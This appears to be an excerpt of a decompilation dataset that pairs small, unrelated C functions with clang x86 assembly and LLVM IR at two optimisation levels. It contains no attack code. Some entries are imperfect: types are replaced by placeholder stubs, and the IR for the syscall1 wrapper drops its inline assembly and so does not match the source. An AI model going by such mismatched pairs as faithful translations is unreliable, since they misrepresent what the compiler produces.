xunge/DecIR huggingface dataset:
void bound_float(float *number, float max, float min) {
  if (*number > max)
    *number = max;
  else if (*number < min)
    *number = min;
}


x86 assembly (clang, -O0):
<bound_float>:
push   %rbp
mov    %rsp,%rbp
mov    %rdi,-0x8(%rbp)
movss  %xmm0,-0xc(%rbp)
movss  %xmm1,-0x10(%rbp)
mov    -0x8(%rbp),%rax
movss  (%rax),%xmm0
ucomiss -0xc(%rbp),%xmm0
jbe    1136 <bound_float+0x36>
movss  -0xc(%rbp),%xmm0
mov    -0x8(%rbp),%rax
movss  %xmm0,(%rax)
jmp    115e <bound_float+0x5e>
mov    -0x8(%rbp),%rax
movss  (%rax),%xmm1
movss  -0x10(%rbp),%xmm0
ucomiss %xmm1,%xmm0
jbe    1159 <bound_float+0x59>
movss  -0x10(%rbp),%xmm0
mov    -0x8(%rbp),%rax
movss  %xmm0,(%rax)
jmp    115e <bound_float+0x5e>
pop    %rbp
ret

x86 assembly (clang, -O2):
<bound_float>:
movss  (%rdi),%xmm2
ucomiss %xmm0,%xmm2
ja     1111 <bound_float+0x11>
ucomiss %xmm2,%xmm1
movaps %xmm1,%xmm0
jbe    1115 <bound_float+0x15>
movss  %xmm0,(%rdi)
ret

LLVM IR (-O0):
define void @bound_float(float* %0, float %1, float %2) {
%4 = alloca float*
%5 = alloca float
%6 = alloca float
store float* %0, float** %4
store float %1, float* %5
store float %2, float* %6
%7 = load float*, float** %4
%8 = load float, float* %7
%9 = load float, float* %5
%10 = fcmp ogt float %8, %9
br i1 %10, label %11, label %14
11: ; preds = %3
%12 = load float, float* %5
%13 = load float*, float** %4
store float %12, float* %13
br label %23
14: ; preds = %3
%15 = load float*, float** %4
%16 = load float, float* %15
%17 = load float, float* %6
%18 = fcmp olt float %16, %17
br i1 %18, label %19, label %22
19: ; preds = %14
%20 = load float, float* %6
%21 = load float*, float** %4
store float %20, float* %21
br label %22
22: ; preds = %19, %14
br label %23
23: ; preds = %22, %11
ret void
}

LLVM IR (-O2):
define void @bound_float(float* nocapture %0, float %1, float %2) {
%4 = load float, float* %0
%5 = fcmp ogt float %4, %1
br i1 %5, label %8, label %6
6: ; preds = %3
%7 = fcmp olt float %4, %2
br i1 %7, label %8, label %10
8: ; preds = %6, %3
%9 = phi float [ %1, %3 ], [ %2, %6 ]
store float %9, float* %0
br label %10
10: ; preds = %8, %6
ret void
}
/* Variables and functions */
scalar_t__ strcmp(char const *, char const *);
int oct_eq(const char *pat, const char *text) {
  return (strcmp(text, pat) == 0);
}


x86 assembly (clang, -O0):
<oct_eq>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %rdi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
mov    -0x10(%rbp),%rdi
mov    -0x8(%rbp),%rsi
call   1030 <strcmp@plt>
cmp    $0x0,%rax
sete   %al
and    $0x1,%al
movzbl %al,%eax
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<oct_eq>:
push   %rax
mov    %rdi,%rax
mov    %rsi,%rdi
mov    %rax,%rsi
call   1030 <strcmp@plt>
xor    %ecx,%ecx
test   %rax,%rax
sete   %cl
mov    %ecx,%eax
pop    %rcx
ret

LLVM IR (-O0):
define i32 @oct_eq(i8* %0, i8* %1) {
%3 = alloca i8*
%4 = alloca i8*
store i8* %0, i8** %3
store i8* %1, i8** %4
%5 = load i8*, i8** %4
%6 = load i8*, i8** %3
%7 = call i64 @strcmp(i8* %5, i8* %6)
%8 = icmp eq i64 %7, 0
%9 = zext i1 %8 to i32
ret i32 %9
}

LLVM IR (-O2):
define i32 @oct_eq(i8* %0, i8* %1) {
%3 = tail call i64 @strcmp(i8* %1, i8* %0)
%4 = icmp eq i64 %3, 0
%5 = zext i1 %4 to i32
ret i32 %5
}
/* Type definitions */
typedef int /*<<< orphan*/ uint8_t;
typedef int /*<<< orphan*/ uint32_t;

/* Variables and functions */
int /*<<< orphan*/ fd_nrf8001_test_error(int /*<<< orphan*/);
void fd_nrf8001_dispatch_test_response(uint8_t status,
                                       uint8_t *response_data
                                       __attribute__((unused)),
                                       uint32_t response_data_length
                                       __attribute__((unused))) {
  fd_nrf8001_test_error(status);
}


x86 assembly (clang, -O0):
push   %rbp
mov    %rsp,%rbp
sub    $0x20,%rsp
mov    %edi,-0x4(%rbp)
mov    %rsi,-0x10(%rbp)
mov    %edx,-0x14(%rbp)
mov    -0x4(%rbp),%edi
call   1030 <fd_nrf8001_test_error@plt>
add    $0x20,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
jmp    1030 <fd_nrf8001_test_error@plt>

LLVM IR (-O0):
define void @fd_nrf8001_dispatch_test_response(i32 %0, i32* %1, i32 %2) {
%4 = alloca i32
%5 = alloca i32*
%6 = alloca i32
store i32 %0, i32* %4
store i32* %1, i32** %5
store i32 %2, i32* %6
%7 = load i32, i32* %4
%8 = call i32 @fd_nrf8001_test_error(i32 %7)
ret void
}

LLVM IR (-O2):
define void @fd_nrf8001_dispatch_test_response(i32 %0, i32* nocapture readnone %1, i32 %2) {
%4 = tail call i32 @fd_nrf8001_test_error(i32 %0)
ret void
}
void rename(of, nf) char *of, *nf;
{
  unlink(nf);
  link(of, nf);
  unlink(of);
}


x86 assembly (clang, -O0):
<rename>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %rdi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
mov    -0x10(%rbp),%rdi
mov    $0x0,%al
call   1030 <unlink@plt>
mov    -0x8(%rbp),%rdi
mov    -0x10(%rbp),%rsi
mov    $0x0,%al
call   1040 <link@plt>
mov    -0x8(%rbp),%rdi
mov    $0x0,%al
call   1030 <unlink@plt>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<rename>:
push   %r14
push   %rbx
push   %rax
mov    %rsi,%rbx
mov    %rdi,%r14
mov    %rsi,%rdi
xor    %eax,%eax
call   1030 <unlink@plt>
mov    %r14,%rdi
mov    %rbx,%rsi
xor    %eax,%eax
call   1040 <link@plt>
mov    %r14,%rdi
xor    %eax,%eax
add    $0x8,%rsp
pop    %rbx
pop    %r14
jmp    1030 <unlink@plt>

LLVM IR (-O0):
define void @rename(i8* %0, i8* %1) {
%3 = alloca i8*
%4 = alloca i8*
store i8* %0, i8** %3
store i8* %1, i8** %4
%5 = load i8*, i8** %4
%6 = call i32 (i8*, ...) bitcast (i32 (...)* @unlink to i32 (i8*, ...)*)(i8* %5)
%7 = load i8*, i8** %3
%8 = load i8*, i8** %4
%9 = call i32 (i8*, i8*, ...) bitcast (i32 (...)* @link to i32 (i8*, i8*, ...)*)(i8* %7, i8* %8)
%10 = load i8*, i8** %3
%11 = call i32 (i8*, ...) bitcast (i32 (...)* @unlink to i32 (i8*, ...)*)(i8* %10)
ret void
}

LLVM IR (-O2):
define void @rename(i8* %0, i8* %1) {
%3 = tail call i32 (i8*, ...) bitcast (i32 (...)* @unlink to i32 (i8*, ...)*)(i8* %1)
%4 = tail call i32 (i8*, i8*, ...) bitcast (i32 (...)* @link to i32 (i8*, i8*, ...)*)(i8* %0, i8* %1)
%5 = tail call i32 (i8*, ...) bitcast (i32 (...)* @unlink to i32 (i8*, ...)*)(i8* %0)
ret void
}
/* Variables and functions */
int /*<<< orphan*/ tst_timer_elapsed();
long long tst_timespec_to_us(int /*<<< orphan*/);
long long tst_timer_elapsed_us(void) {
  return tst_timespec_to_us(tst_timer_elapsed());
}


x86 assembly (clang, -O0):
<tst_timer_elapsed_us>:
push   %rbp
mov    %rsp,%rbp
mov    $0x0,%al
call   1030 <tst_timer_elapsed@plt>
mov    %eax,%edi
call   1040 <tst_timespec_to_us@plt>
pop    %rbp
ret

x86 assembly (clang, -O2):
<tst_timer_elapsed_us>:
push   %rax
xor    %eax,%eax
call   1030 <tst_timer_elapsed@plt>
mov    %eax,%edi
pop    %rax
jmp    1040 <tst_timespec_to_us@plt>

LLVM IR (-O0):
define i64 @tst_timer_elapsed_us() {
%1 = call i32 (...) @tst_timer_elapsed()
%2 = call i64 @tst_timespec_to_us(i32 %1)
ret i64 %2
}

LLVM IR (-O2):
define i64 @tst_timer_elapsed_us() {
%1 = tail call i32 (...) @tst_timer_elapsed()
%2 = tail call i64 @tst_timespec_to_us(i32 %1)
ret i64 %2
}
void CopyRow_C() {}


x86 assembly (clang, -O0):
<CopyRow_C>:
push   %rbp
mov    %rsp,%rbp
pop    %rbp
ret

x86 assembly (clang, -O2):
<CopyRow_C>:
ret

LLVM IR (-O0):
define void @CopyRow_C() {
ret void
}

LLVM IR (-O2):
define void @CopyRow_C() {
ret void
}
/* Variables and functions */
int /*<<< orphan*/ printf(char *, unsigned int, int, int, int);
void joystick(unsigned int buttonMask, int x, int y, int z) {
  printf("joy 0x%x, x=%d y=%d z=%d\n", buttonMask, x, y, z);
}


x86 assembly (clang, -O0):
<joystick>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %edi,-0x4(%rbp)
mov    %esi,-0x8(%rbp)
mov    %edx,-0xc(%rbp)
mov    %ecx,-0x10(%rbp)
mov    -0x4(%rbp),%esi
mov    -0x8(%rbp),%edx
mov    -0xc(%rbp),%ecx
mov    -0x10(%rbp),%r8d
lea    0xec8(%rip),%rdi
call   1030 <printf@plt>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<joystick>:
mov    %ecx,%r8d
mov    %edx,%ecx
mov    %esi,%edx
mov    %edi,%esi
lea    0xee0(%rip),%rdi
jmp    1030 <printf@plt>

LLVM IR (-O0):
@.str = [26 x i8] c"joy 0x%x, x=%d y=%d z=%d\0A\00"
define void @joystick(i32 %0, i32 %1, i32 %2, i32 %3) {
%5 = alloca i32
%6 = alloca i32
%7 = alloca i32
%8 = alloca i32
store i32 %0, i32* %5
store i32 %1, i32* %6
store i32 %2, i32* %7
store i32 %3, i32* %8
%9 = load i32, i32* %5
%10 = load i32, i32* %6
%11 = load i32, i32* %7
%12 = load i32, i32* %8
%13 = call i32 @printf(i8* getelementptr inbounds ([26 x i8], [26 x i8]* @.str, i64 0, i64 0), i32 %9, i32 %10, i32 %11, i32 %12)
ret void
}

LLVM IR (-O2):
@.str = [26 x i8] c"joy 0x%x, x=%d y=%d z=%d\0A\00"
define void @joystick(i32 %0, i32 %1, i32 %2, i32 %3) {
%5 = tail call i32 @printf(i8* getelementptr inbounds ([26 x i8], [26 x i8]* @.str, i64 0, i64 0), i32 %0, i32 %1, i32 %2, i32 %3)
ret void
}
/* Type definitions */
typedef int /*<<< orphan*/ RSA;

/* Variables and functions */
int /*<<< orphan*/ RSA_PKCS1_PADDING;
int RSA_private_encrypt(int, unsigned char *, unsigned char *,
                        int /*<<< orphan*/ *, int /*<<< orphan*/);
int rsa_encrypt(unsigned char *data, int len, unsigned char *signature,
                RSA *privkey) {
  int result;
  result =
      RSA_private_encrypt(len, data, signature, privkey, RSA_PKCS1_PADDING);
  return result;
}


x86 assembly (clang, -O0):
<rsa_encrypt>:
push   %rbp
mov    %rsp,%rbp
sub    $0x30,%rsp
mov    %rdi,-0x8(%rbp)
mov    %esi,-0xc(%rbp)
mov    %rdx,-0x18(%rbp)
mov    %rcx,-0x20(%rbp)
mov    -0xc(%rbp),%edi
mov    -0x8(%rbp),%rsi
mov    -0x18(%rbp),%rdx
mov    -0x20(%rbp),%rcx
mov    0x2e9b(%rip),%rax
mov    (%rax),%r8d
call   1030 <RSA_private_encrypt@plt>
mov    %eax,-0x24(%rbp)
mov    -0x24(%rbp),%eax
add    $0x30,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<rsa_encrypt>:
mov    %rdi,%rax
mov    0x2ebe(%rip),%rdi
mov    (%rdi),%r8d
mov    %esi,%edi
mov    %rax,%rsi
jmp    1030 <RSA_private_encrypt@plt>

LLVM IR (-O0):
@RSA_PKCS1_PADDING = global i32 0
define i32 @rsa_encrypt(i8* %0, i32 %1, i8* %2, i32* %3) {
%5 = alloca i8*
%6 = alloca i32
%7 = alloca i8*
%8 = alloca i32*
%9 = alloca i32
store i8* %0, i8** %5
store i32 %1, i32* %6
store i8* %2, i8** %7
store i32* %3, i32** %8
%10 = load i32, i32* %6
%11 = load i8*, i8** %5
%12 = load i8*, i8** %7
%13 = load i32*, i32** %8
%14 = load i32, i32* @RSA_PKCS1_PADDING
%15 = call i32 @RSA_private_encrypt(i32 %10, i8* %11, i8* %12, i32* %13, i32 %14)
store i32 %15, i32* %9
%16 = load i32, i32* %9
ret i32 %16
}

LLVM IR (-O2):
@RSA_PKCS1_PADDING = global i32 0
define i32 @rsa_encrypt(i8* %0, i32 %1, i8* %2, i32* %3) {
%5 = load i32, i32* @RSA_PKCS1_PADDING
%6 = tail call i32 @RSA_private_encrypt(i32 %1, i8* %0, i8* %2, i32* %3, i32 %5)
ret i32 %6
}
int syscall1(int sys_num, char *arg1) {
  int retval;
  __asm__("int $0x80      \n\t"
          "mov %%eax, %0"
          : "=m"(retval)
          : "a"(sys_num), "b"(arg1)
          : "memory");
  return retval;
}


x86 assembly (clang, -O0):
<syscall1>:
push   %rbp
mov    %rsp,%rbp
push   %rbx
mov    %edi,-0xc(%rbp)
mov    %rsi,-0x18(%rbp)
mov    -0xc(%rbp),%eax
mov    -0x18(%rbp),%rbx
int    $0x80
mov    %eax,-0x1c(%rbp)
mov    -0x1c(%rbp),%eax
pop    %rbx
pop    %rbp
ret

x86 assembly (clang, -O2):
<syscall1>:
push   %rbx
mov    %rsi,%rbx
mov    %edi,%eax
int    $0x80
mov    %eax,-0x4(%rsp)
mov    -0x4(%rsp),%eax
pop    %rbx
ret

LLVM IR (-O0):
define i32 @syscall1(i32 %0, i8* %1) {
%3 = alloca i32
%4 = alloca i8*
%5 = alloca i32
store i32 %0, i32* %3
store i8* %1, i8** %4
%6 = load i32, i32* %3
%7 = load i8*, i8** %4
%8 = load i32, i32* %5
ret i32 %8
}

LLVM IR (-O2):
define i32 @syscall1(i32 %0, i8* %1) {
%3 = alloca i32
%4 = bitcast i32* %3 to i8*
%5 = load i32, i32* %3
ret i32 %5
}
/* Variables and functions */
float min(float, float);
float opu(float a, float b) { return min(a, b); }


x86 assembly (clang, -O0):
<opu>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
movss  %xmm0,-0x4(%rbp)
movss  %xmm1,-0x8(%rbp)
movss  -0x4(%rbp),%xmm0
movss  -0x8(%rbp),%xmm1
call   1030 <min@plt>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<opu>:
jmp    1030 <min@plt>

LLVM IR (-O0):
define float @opu(float %0, float %1) {
%3 = alloca float
%4 = alloca float
store float %0, float* %3
store float %1, float* %4
%5 = load float, float* %3
%6 = load float, float* %4
%7 = call float @min(float %5, float %6)
ret float %7
}

LLVM IR (-O2):
define float @opu(float %0, float %1) {
%3 = tail call float @min(float %0, float %1)
ret float %3
}
int security_sem_associate(struct sem_array *sma, int semid, int semflg) {
  return 0;
}


x86 assembly (clang, -O0):
<security_sem_associate>:
push   %rbp
mov    %rsp,%rbp
mov    %rdi,-0x8(%rbp)
mov    %esi,-0xc(%rbp)
mov    %edx,-0x10(%rbp)
xor    %eax,%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<security_sem_associate>:
xor    %eax,%eax
ret

LLVM IR (-O0):
%struct.sem_array = type opaque
define i32 @security_sem_associate(%struct.sem_array* %0, i32 %1, i32 %2) {
%4 = alloca %struct.sem_array*
%5 = alloca i32
%6 = alloca i32
store %struct.sem_array* %0, %struct.sem_array** %4
store i32 %1, i32* %5
store i32 %2, i32* %6
ret i32 0
}

LLVM IR (-O2):
%struct.sem_array = type opaque
define i32 @security_sem_associate(%struct.sem_array* nocapture readnone %0, i32 %1, i32 %2) {
ret i32 0
}
char do_one(char *base, unsigned long offset) { return base[offset]; }


x86 assembly (clang, -O0):
<do_one>:
push   %rbp
mov    %rsp,%rbp
mov    %rdi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
mov    -0x8(%rbp),%rax
mov    -0x10(%rbp),%rcx
movsbl (%rax,%rcx,1),%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<do_one>:
mov    (%rdi,%rsi,1),%al
ret

LLVM IR (-O0):
define signext i8 @do_one(i8* %0, i64 %1) {
%3 = alloca i8*
%4 = alloca i64
store i8* %0, i8** %3
store i64 %1, i64* %4
%5 = load i8*, i8** %3
%6 = load i64, i64* %4
%7 = getelementptr inbounds i8, i8* %5, i64 %6
%8 = load i8, i8* %7
ret i8 %8
}

LLVM IR (-O2):
define signext i8 @do_one(i8* nocapture %0, i64 %1) {
%3 = getelementptr inbounds i8, i8* %0, i64 %1
%4 = load i8, i8* %3
ret i8 %4
}
int main(int argc, char **argv) {
  int tooLong = 0;
  while (argc) {
    if (argc) {
      tooLong = 1;
    }
  }
  return tooLong;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
movl   $0x0,-0x4(%rbp)
mov    %edi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
movl   $0x0,-0x14(%rbp)
cmpl   $0x0,-0x8(%rbp)
je     1139 <main+0x39>
cmpl   $0x0,-0x8(%rbp)
je     1134 <main+0x34>
movl   $0x1,-0x14(%rbp)
jmp    1119 <main+0x19>
mov    -0x14(%rbp),%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
xor    %eax,%eax
ret

LLVM IR (-O0):
define i32 @main(i32 %0, i8** %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i8**
%6 = alloca i32
store i32 0, i32* %3
store i32 %0, i32* %4
store i8** %1, i8*** %5
store i32 0, i32* %6
br label %7
7: ; preds = %14, %2
%8 = load i32, i32* %4
%9 = icmp ne i32 %8, 0
br i1 %9, label %10, label %15
10: ; preds = %7
%11 = load i32, i32* %4
%12 = icmp ne i32 %11, 0
br i1 %12, label %13, label %14
13: ; preds = %10
store i32 1, i32* %6
br label %14
14: ; preds = %13, %10
br label %7
15: ; preds = %7
%16 = load i32, i32* %6
ret i32 %16
}

LLVM IR (-O2):
define i32 @main(i32 %0, i8** nocapture readnone %1) {
ret i32 0
}
int test_imm_6Eint64_highword_reg(long long val) {
  return ((val >> 32) & (0x6E << 0)) ? -20 : -40;
}


x86 assembly (clang, -O0):
<test_imm_6Eint64_highword_reg>:
push   %rbp
mov    %rsp,%rbp
mov    %rdi,-0x8(%rbp)
mov    -0x8(%rbp),%rdx
sar    $0x20,%rdx
and    $0x6e,%rdx
mov    $0xffffffd8,%eax
mov    $0xffffffec,%ecx
cmp    $0x0,%rdx
cmovne %ecx,%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<test_imm_6Eint64_highword_reg>:
movabs $0x6e00000000,%rax
test   %rax,%rdi
mov    $0xffffffd8,%ecx
mov    $0xffffffec,%eax
cmove  %ecx,%eax
ret

LLVM IR (-O0):
define i32 @test_imm_6Eint64_highword_reg(i64 %0) {
%2 = alloca i64
store i64 %0, i64* %2
%3 = load i64, i64* %2
%4 = ashr i64 %3, 32
%5 = and i64 %4, 110
%6 = icmp ne i64 %5, 0
%7 = zext i1 %6 to i64
%8 = select i1 %6, i32 -20, i32 -40
ret i32 %8
}

LLVM IR (-O2):
define i32 @test_imm_6Eint64_highword_reg(i64 %0) {
%2 = and i64 %0, 472446402560
%3 = icmp eq i64 %2, 0
%4 = select i1 %3, i32 -40, i32 -20
ret i32 %4
}
/* Type definitions */
typedef int /*<<< orphan*/ uint32_t;
struct wl_proxy {
  int dummy;
};
struct wl_data_source {
  int dummy;
};

/* Variables and functions */
int /*<<< orphan*/ wl_proxy_get_version(struct wl_proxy *);
uint32_t wl_data_source_get_version(struct wl_data_source *wl_data_source) {
  return wl_proxy_get_version((struct wl_proxy *)wl_data_source);
}


x86 assembly (clang, -O0):
<wl_data_source_get_version>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %rdi,-0x8(%rbp)
mov    -0x8(%rbp),%rdi
call   1030 <wl_proxy_get_version@plt>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<wl_data_source_get_version>:
jmp    1030 <wl_proxy_get_version@plt>

LLVM IR (-O0):
%struct.wl_data_source = type { i32 }
%struct.wl_proxy = type { i32 }
define i32 @wl_data_source_get_version(%struct.wl_data_source* %0) {
%2 = alloca %struct.wl_data_source*
store %struct.wl_data_source* %0, %struct.wl_data_source** %2
%3 = load %struct.wl_data_source*, %struct.wl_data_source** %2
%4 = bitcast %struct.wl_data_source* %3 to %struct.wl_proxy*
%5 = call i32 @wl_proxy_get_version(%struct.wl_proxy* %4)
ret i32 %5
}

LLVM IR (-O2):
%struct.wl_data_source = type { i32 }
%struct.wl_proxy = type { i32 }
define i32 @wl_data_source_get_version(%struct.wl_data_source* %0) {
%2 = bitcast %struct.wl_data_source* %0 to %struct.wl_proxy*
%3 = tail call i32 @wl_proxy_get_version(%struct.wl_proxy* %2)
ret i32 %3
}
regx0reg1(r0, r1, x0, x1, p0, p1) signed char r0, r1;
signed char *p0, *p1;
{
  if ((p0[x0]) <= r1)
    return 1;
  else
    return 0;
}


x86 assembly (clang, -O0):
<regx0reg1>:
push   %rbp
mov    %rsp,%rbp
mov    %esi,%eax
mov    %dil,%sil
mov    %sil,-0x5(%rbp)
mov    %al,-0x6(%rbp)
mov    %edx,-0xc(%rbp)
mov    %ecx,-0x10(%rbp)
mov    %r8,-0x18(%rbp)
mov    %r9,-0x20(%rbp)
mov    -0x18(%rbp),%rax
movslq -0xc(%rbp),%rcx
movsbl (%rax,%rcx,1),%eax
movsbl -0x6(%rbp),%ecx
cmp    %ecx,%eax
jg     1142 <regx0reg1+0x42>
movl   $0x1,-0x4(%rbp)
jmp    1149 <regx0reg1+0x49>
movl   $0x0,-0x4(%rbp)
mov    -0x4(%rbp),%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<regx0reg1>:
movslq %edx,%rax
movsbl (%r8,%rax,1),%ecx
movsbl %sil,%edx
xor    %eax,%eax
cmp    %ecx,%edx
setge  %al
ret

LLVM IR (-O0):
define i32 @regx0reg1(i32 %0, i32 %1, i32 %2, i32 %3, i8* %4, i8* %5) {
%7 = alloca i32
%8 = alloca i8
%9 = alloca i8
%10 = alloca i32
%11 = alloca i32
%12 = alloca i8*
%13 = alloca i8*
%14 = trunc i32 %0 to i8
%15 = trunc i32 %1 to i8
store i8 %14, i8* %8
store i8 %15, i8* %9
store i32 %2, i32* %10
store i32 %3, i32* %11
store i8* %4, i8** %12
store i8* %5, i8** %13
%16 = load i8*, i8** %12
%17 = load i32, i32* %10
%18 = sext i32 %17 to i64
%19 = getelementptr inbounds i8, i8* %16, i64 %18
%20 = load i8, i8* %19
%21 = sext i8 %20 to i32
%22 = load i8, i8* %9
%23 = sext i8 %22 to i32
%24 = icmp sle i32 %21, %23
br i1 %24, label %25, label %26
25: ; preds = %6
store i32 1, i32* %7
br label %27
26: ; preds = %6
store i32 0, i32* %7
br label %27
27: ; preds = %26, %25
%28 = load i32, i32* %7
ret i32 %28
}

LLVM IR (-O2):
define i32 @regx0reg1(i32 %0, i32 %1, i32 %2, i32 %3, i8* nocapture %4, i8* nocapture readnone %5) {
%7 = sext i32 %2 to i64
%8 = getelementptr inbounds i8, i8* %4, i64 %7
%9 = load i8, i8* %8
%10 = sext i8 %9 to i32
%11 = shl i32 %1, 24
%12 = ashr exact i32 %11, 24
%13 = icmp sge i32 %12, %10
%14 = zext i1 %13 to i32
ret i32 %14
}
int isbdigit(int c) { return c == '0' || c == '1'; }


x86 assembly (clang, -O0):
<isbdigit>:
push   %rbp
mov    %rsp,%rbp
mov    %edi,-0x4(%rbp)
mov    $0x1,%al
cmpl   $0x30,-0x4(%rbp)
mov    %al,-0x5(%rbp)
je     1120 <isbdigit+0x20>
cmpl   $0x31,-0x4(%rbp)
sete   %al
mov    %al,-0x5(%rbp)
mov    -0x5(%rbp),%al
and    $0x1,%al
movzbl %al,%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<isbdigit>:
and    $0xfffffffe,%edi
xor    %eax,%eax
cmp    $0x30,%edi
sete   %al
ret

LLVM IR (-O0):
define i32 @isbdigit(i32 %0) {
%2 = alloca i32
store i32 %0, i32* %2
%3 = load i32, i32* %2
%4 = icmp eq i32 %3, 48
br i1 %4, label %8, label %5
5: ; preds = %1
%6 = load i32, i32* %2
%7 = icmp eq i32 %6, 49
br label %8
8: ; preds = %5, %1
%9 = phi i1 [ true, %1 ], [ %7, %5 ]
%10 = zext i1 %9 to i32
ret i32 %10
}

LLVM IR (-O2):
define i32 @isbdigit(i32 %0) {
%2 = and i32 %0, -2
%3 = icmp eq i32 %2, 48
%4 = zext i1 %3 to i32
ret i32 %4
}
/* Variables and functions */
int /*<<< orphan*/ exit(int);
extern void OOSMOS_EndProgram(int Code) { exit(Code); }


x86 assembly (clang, -O0):
<OOSMOS_EndProgram>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %edi,-0x4(%rbp)
mov    -0x4(%rbp),%edi
call   1030 <exit@plt>

x86 assembly (clang, -O2):
<OOSMOS_EndProgram>:
push   %rax
call   1030 <exit@plt>

LLVM IR (-O0):
define void @OOSMOS_EndProgram(i32 %0) {
%2 = alloca i32
store i32 %0, i32* %2
%3 = load i32, i32* %2
%4 = call i32 @exit(i32 %3)
unreachable
}

LLVM IR (-O2):
define void @OOSMOS_EndProgram(i32 %0) {
%2 = tail call i32 @exit(i32 %0)
unreachable
}
int fun968() { return 968; }


x86 assembly (clang, -O0):
<fun968>:
push   %rbp
mov    %rsp,%rbp
mov    $0x3c8,%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<fun968>:
mov    $0x3c8,%eax
ret

LLVM IR (-O0):
define i32 @fun968() {
ret i32 968
}

LLVM IR (-O2):
define i32 @fun968() {
ret i32 968
}
/* Variables and functions */
int strcasecmp(char const *, char const *);
int str_comp_nocase(const char *a, const char *b) { return strcasecmp(a, b); }


x86 assembly (clang, -O0):
<str_comp_nocase>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %rdi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
mov    -0x8(%rbp),%rdi
mov    -0x10(%rbp),%rsi
call   1030 <strcasecmp@plt>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<str_comp_nocase>:
jmp    1030 <strcasecmp@plt>

LLVM IR (-O0):
define i32 @str_comp_nocase(i8* %0, i8* %1) {
%3 = alloca i8*
%4 = alloca i8*
store i8* %0, i8** %3
store i8* %1, i8** %4
%5 = load i8*, i8** %3
%6 = load i8*, i8** %4
%7 = call i32 @strcasecmp(i8* %5, i8* %6)
ret i32 %7
}

LLVM IR (-O2):
define i32 @str_comp_nocase(i8* nocapture %0, i8* nocapture %1) {
%3 = tail call i32 @strcasecmp(i8* %0, i8* %1)
ret i32 %3
}
/* Variables and functions */
int /*<<< orphan*/ start(int, char **);
int /*<<< orphan*/ verif_start(int /*<<< orphan*/);
int main(int argc, char **argv) {
  verif_start(start(argc, argv));
  return (0);
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
movl   $0x0,-0x4(%rbp)
mov    %edi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
mov    -0x8(%rbp),%edi
mov    -0x10(%rbp),%rsi
call   1030 <start@plt>
mov    %eax,%edi
call   1040 <verif_start@plt>
xor    %eax,%eax
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rax
call   1030 <start@plt>
mov    %eax,%edi
call   1040 <verif_start@plt>
xor    %eax,%eax
pop    %rcx
ret

LLVM IR (-O0):
define i32 @main(i32 %0, i8** %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i8**
store i32 0, i32* %3
store i32 %0, i32* %4
store i8** %1, i8*** %5
%6 = load i32, i32* %4
%7 = load i8**, i8*** %5
%8 = call i32 @start(i32 %6, i8** %7)
%9 = call i32 @verif_start(i32 %8)
ret i32 0
}

LLVM IR (-O2):
define i32 @main(i32 %0, i8** %1) {
%3 = tail call i32 @start(i32 %0, i8** %1)
%4 = tail call i32 @verif_start(i32 %3)
ret i32 0
}
/* Type definitions */
struct constructHeader {
  int dummy;
};

/* Variables and functions */
char const *GetConstructPPForm(void *, struct constructHeader *);
const char *EnvGetDeftemplatePPForm(void *theEnv, void *theDeftemplate) {
  return GetConstructPPForm(theEnv, (struct constructHeader *)theDeftemplate);
}


x86 assembly (clang, -O0):
<EnvGetDeftemplatePPForm>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %rdi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
mov    -0x8(%rbp),%rdi
mov    -0x10(%rbp),%rsi
call   1030 <GetConstructPPForm@plt>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<EnvGetDeftemplatePPForm>:
jmp    1030 <GetConstructPPForm@plt>

LLVM IR (-O0):
%struct.constructHeader = type { i32 }
define i8* @EnvGetDeftemplatePPForm(i8* %0, i8* %1) {
%3 = alloca i8*
%4 = alloca i8*
store i8* %0, i8** %3
store i8* %1, i8** %4
%5 = load i8*, i8** %3
%6 = load i8*, i8** %4
%7 = bitcast i8* %6 to %struct.constructHeader*
%8 = call i8* @GetConstructPPForm(i8* %5, %struct.constructHeader* %7)
ret i8* %8
}

LLVM IR (-O2):
%struct.constructHeader = type { i32 }
define i8* @EnvGetDeftemplatePPForm(i8* %0, i8* %1) {
%3 = bitcast i8* %1 to %struct.constructHeader*
%4 = tail call i8* @GetConstructPPForm(i8* %0, %struct.constructHeader* %3)
ret i8* %4
}
void faketalk() { return; }


x86 assembly (clang, -O0):
